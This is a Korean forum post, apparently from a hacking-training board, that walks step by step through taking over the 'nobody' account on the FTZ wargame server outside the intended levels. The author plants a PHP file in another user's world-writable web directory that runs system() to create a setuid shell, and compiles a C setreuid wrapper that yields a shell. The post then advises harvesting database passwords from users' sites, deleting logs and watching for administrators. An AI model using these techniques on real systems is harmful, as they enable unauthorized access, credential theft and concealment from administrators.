|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=31325 [복사]
이번에는 예전에 따 놓은 해커스쿨의 level 권한 외의 권한 취득 방법을 올려보도록 하겠습니다.
특정 문제가 있는 것도 아니니 시스템을 얼마나 잘 조사하는지가 관건이 되겠습니다.
우선 해커스쿨에 level1으로 접속했습니다.
어차피 다른 권한 따는거기 때문에 높은 레벨의 권한은 필요 없습니다.
어차피 그게 그거랍니다.
[level1@ftz level1]$ ls -al
합계 96
drwxr-xr-x 5 root level1 4096 3월 26 2003 .
drwxr-xr-x 44 root root 4096 12월 9 2003 ..
-rw-r--r-- 1 root root 209 3월 19 1999 .BitchX
-rw------- 1 root root 106 3월 6 2000 .Xauthority
-rw-r--r-- 1 root root 245 2월 24 2002 .Xdefaults
-rw------- 1 root root 61 4월 19 2002 .bash_history
-rw-r--r-- 1 root root 24 2월 24 2002 .bash_logout
-rw-rw-r-- 1 root root 224 2월 24 2002 .bash_profile
-rw-r--r-x 1 root root 151 2월 24 2002 .bashrc
-rw-r--r-- 1 root root 400 2월 24 2002 .cshrc
-rw-r--r-- 1 root root 4742 2월 24 2002 .emacs
-rw-r--r-- 1 root root 162 2월 24 2002 .epems
-r--r--r-- 1 root root 319 2월 24 2002 .gtkrc
-rw-r--r-- 1 root root 100 2월 24 2002 .gvimrc
drwxrwxr-x 3 root root 4096 3월 21 2000 .mc
-rw-r--r-- 1 root root 226 2월 24 2002 .muttrc
-rw-r--r-- 1 root root 367 2월 24 2002 .profile
-rw-r--r-- 1 root root 1 5월 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 2월 24 2002 .vimrc
-rw-r--r-- 1 root root 47 4월 4 2000 hint
drwxr-xr-x 2 root level1 4096 12월 7 2003 public_html
drwxrwxr-x 2 root level1 4096 8월 13 16:41 tmp
[level1@ftz level1]$
우선 홈디렉터리부터 확인해 보도록 하겠습니다.
.mc라는 수상한 눈에 띕니다.
레벨 1 문제풀이때는 워낙 후딱 지나가서 못봤던것 같습니다.
[level1@ftz .mc]$ ls -al
합계 24
drwxrwxr-x 3 root root 4096 3월 21 2000 .
drwxr-xr-x 5 root level1 4096 3월 26 2003 ..
-rwxrwxrwx 1 root level1 25 7월 24 16:13 Tree
-rw------- 1 root level1 2646 4월 19 2002 history
-rwxrwxrwx 1 root level1 74 7월 24 16:13 ini
drwx------ 2 root level1 4096 4월 14 2002 tmp
[level1@ftz .mc]$ cat Tree
작성한 사람이 root로 되어있습니다.
딱히 수확이 없으니.. find 명령어로 setuid가 걸려진 파일을 찾아서 어디까지 가져올 수 있나 확인해 보겠습니다.
[level1@ftz level1]$ find / -perm -4000 -print 2>/dev/null
/usr/bin/bof
/usr/bin/editor
/usr/bin/level5
/bin/ExcuteMe
/bin/autodig
/bin/level7
/home/level11/attackme
/home/level12/attackme
/home/level13/attackme
/home/level14/attackme
/home/level15/attackme
/home/level16/attackme
/home/level17/attackme
/home/level18/attackme
/home/level19/attackme
/home/level20/attackme
[level1@ftz level1]$
우울하네요..
하다못해 ping도 없네요.. (ping은 suid가 없으면 일반 유저는 사용을 못한다는 의미랍니다. ping이란 프로그램이 생긴 모양때문에..)
[level1@ftz level1]$ ps -axu grep -v level grep -v trainer awk '{print $1}' uniq
USER
root
bin
root
daemon
root
mysql
root
nobody
hs4_chat
root
nobody
guest
root
[level1@ftz level1]$
슬쩍 갖고 넘어갈 수 있는 프로세스도 없는듯 하고..
우선 nobody부터 공략해야 할 것 같습니다.
[level1@ftz home]$ ls -la grep -v level grep -v trainer
합계 176
drwxr-xr-x 44 root root 4096 12월 9 2003 .
drwxr-xr-x 20 root root 4096 8월 13 03:01 ..
drwx-----x 25 3149 beist 4096 6월 30 04:45 beist
drwxr-xr-x 2 chat chat 4096 2월 24 2003 chat
drwx--x--x 18 clear clear 4096 8월 12 20:17 clear
drwx-----x 12 dotri dotri 4096 10월 9 2003 dotri
drwxrwxrwx 2 guest guest 4096 8월 13 16:46 guest
drwx-----x 3 hs4_chat hs4_chat 4096 3월 25 2004 hs4_chat
drwx------ 3 mud mud 4096 3월 26 2003 mud
drwx------ 2 mysql mysql 4096 3월 31 2003 mysql
drwxr-x--x 10 root realhack 4096 4월 23 2002 realhack
drwx--x--x 3 sexyguta sexyguta 4096 7월 25 17:40 sexyguta
dr-x-----x 5 root root 4096 4월 14 2002 socket
drwx-----x 3 test test 4096 3월 31 2003 test
사용자가 몇명 있습니다.
권한에 세번째 부분이 x가 되어있다는 것은 웹 서비스를 한다는 뜻일테니..
디렉토리마다 하나하나씩 체크해보면 됩니다.
[level1@ftz home]$ cd beist/
[level1@ftz beist]$ ls
ls: .: 허가 거부됨
read권한이 없기 때문에 당연히 허가가 거부됩니다.
개인 페이지 디렉토리는 보통 public_html을 많이 씁니다.
목록은 볼 수 없어도 있을꺼라는 강한 의심이 가기 때문에..
[level1@ftz beist]$ cd public_html
[level1@ftz public_html]$
혹시나가 역시나입니다.
예상했던 대로 public_html 파일이 존재하는군요.
[level1@ftz public_html]$ ls
CMSIMPLE MAMBO MOODLE albums copy gallery index.html moodledata result.txt result2.txt tt.php
이제 각 권한을 체크해봅시다.
[level1@ftz public_html]$ ls -al
합계 100
drwxr-xr-x 9 root root 4096 4월 27 18:33 .
drwx-----x 25 3149 beist 4096 6월 30 04:45 ..
drwxr-xr-x 8 root root 4096 3월 30 18:16 CMSIMPLE
drwxrwxrwx 14 502 504 4096 8월 7 20:03 MAMBO
drwxr-xrwx 22 502 504 4096 5월 3 00:47 MOODLE
drwxrwxrwx 12 502 504 4096 5월 3 01:22 albums
drwxr-xr-x 2 root root 4096 4월 27 18:04 copy
drwxr-xr-x 22 502 504 4096 5월 31 16:39 gallery
-rw-r--r-- 1 root root 5 4월 27 15:31 index.html
drwxrwxrwx 6 502 504 4096 5월 3 00:36 moodledata
-rw-r--r-- 1 root root 13791 4월 27 01:11 result.txt
-rw-r--r-- 1 root root 39428 4월 27 18:34 result2.txt
-rw-r--r-- 1 root root 28 4월 27 17:58 tt.php
[level1@ftz public_html]$
잡았네요.
이제 nobody는 땄습니다.
문제가 되는 부분은
drwxrwxrwx 14 502 504 4096 8월 7 20:03 MAMBO
입니다. 모든 사용자에게 읽기 쓰기 권한이 있는 것을 알 수가 있습니다.
이제 php코드만 심어놓으면 됩니다.
[level1@ftz MAMBO]$ which tcsh
/bin/tcsh
쉘의 위치를 파악한 후 php에서 사용할 명령어들의 path도 파악해둡니다.
[level1@ftz MAMBO]$ which cp
/bin/cp
[level1@ftz MAMBO]$ which chmod
/bin/chmod
[level1@ftz MAMBO]$ pwd
/home/beist/public_html/MAMBO
현재 디렉토리도 파악해두고 a.php라는 이름으로 다음과 같이 만들었습니다.
<?
system("/bin/cp /bin/tcsh /home/beist/public_html/MAMBO/.");
system("/bin/chmod 4755 /home/beist/public_html/MAMBO/tcsh");
?>
제 파일에 접근하려면 http://ftz.hackerschool.org/~beist/MAMBO/a.php 로 들어가시면 됩니다.
익스플로러로 저 창을 열어보면 아무것도 안나옵니다.
이제 디렉토리를 보면,
[level1@ftz MAMBO]$ ls -rlt
합계 1704
..
-rw-rw-r-- 1 level1 level1 129 8월 13 18:48 a.php
-rwsr-xr-x 1 nobody nobody 316276 8월 13 18:49 tcsh
suid를 가진 쉘이 성공적으로 만들어 진 것을 확인할 수 있습니다.
[level1@ftz MAMBO]$ ./tcsh
tcsh: 허가 거부됨.
[level1@ftz MAMBO]$
허허.. 다시 해야겠군요.
아예 코드로 작성해야 할듯 합니다.
a.c라는 이름으로 작성했습니다.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
setreuid(99, 99);
system("/bin/sh");
return 0;
}
[level1@ftz MAMBO]$ cc -o a a.c
그 다음에 a.php의 내용을 다음과 같이 바꿔줍니다.
<?
system("/bin/cp /home/beist/public_html/MAMBO/a /home/beist/public_html/MAMBO/b");
system("/bin/chmod 4755 /home/beist/public_html/MAMBO/b");
?>
다시 저 URL을 열면 아무 반응 없습니다.
이제 다시 디렉토리를 보면,
[level1@ftz MAMBO]$ ls -rlt
합계 1728
...
-rwsr-xr-x 1 nobody nobody 316276 8월 13 18:49 tcsh
-rwxrwxr-x 1 level1 level1 11646 8월 13 18:56 a
-rw-rw-r-- 1 level1 level1 148 8월 13 18:56 a.php
-rwsr-xr-x 1 nobody nobody 11646 8월 13 18:58 b
b라는 파일이 생긴 것을 확인할 수 있습니다.
실행시켜 보도록 하겠습니다.
[level1@ftz MAMBO]$ ./b
sh-2.05b$ id
uid=99(nobody) gid=3001(level1) groups=3001(level1)
성공적으로 nobody 권한을 취득한 것을 확인할 수 있습니다.
일반적이 서버인 경우 저렇게 일반계정으로 들어갈 수 있다면 다른 계정 권한을 따는건 그리 어렵지 않습니다.
해킹을 할때의 문제는 어떻게 일반계정을 딸 수 있느냐이고, 보안을 할때의 문제는 어떻게 그러한 시도를 조기에 차단 또는 발견할 수있느냐.. 입니다.
이제 할 일은 각 사용자 계정을 돌아다니면서 정보를 수집하는 것입니다.
그런데.. nobody를 따고나니 귀찮아지네요. <퍼ㅓ퍼퍼퍽
정보를 수집할 때 중점적으로 할 것은..
홈페이지를 만든 사용자가 있을 때 db와 연결되는 부분에서 패스워드를 뽑아내는 것이 중요합니다.
그렇게 해서 뽑아낸 패스워드일 경우 계정 패스워드와 동일할 수 있기 때문입니다.
단 계정 패스워드를 알아내면 그 다음부터는 머리아파집니다.
자기가 접속한 로그를 관리해야 하기 때문입니다.
로그의 삭제와 자기가 움직인 정보를 삭제해야 합니다.
물론 수시로 w 명령 등으로 다른 사람이 특히나 관리자가 접속해있나 체크해야 합니다.
아무튼.. 오늘은 해커스쿨의 레벨 계정이 아닌 다른 계정의 권한을 취득해 보았습니다.
|
Hit : 10795 Date : 2013/11/09 01:11
|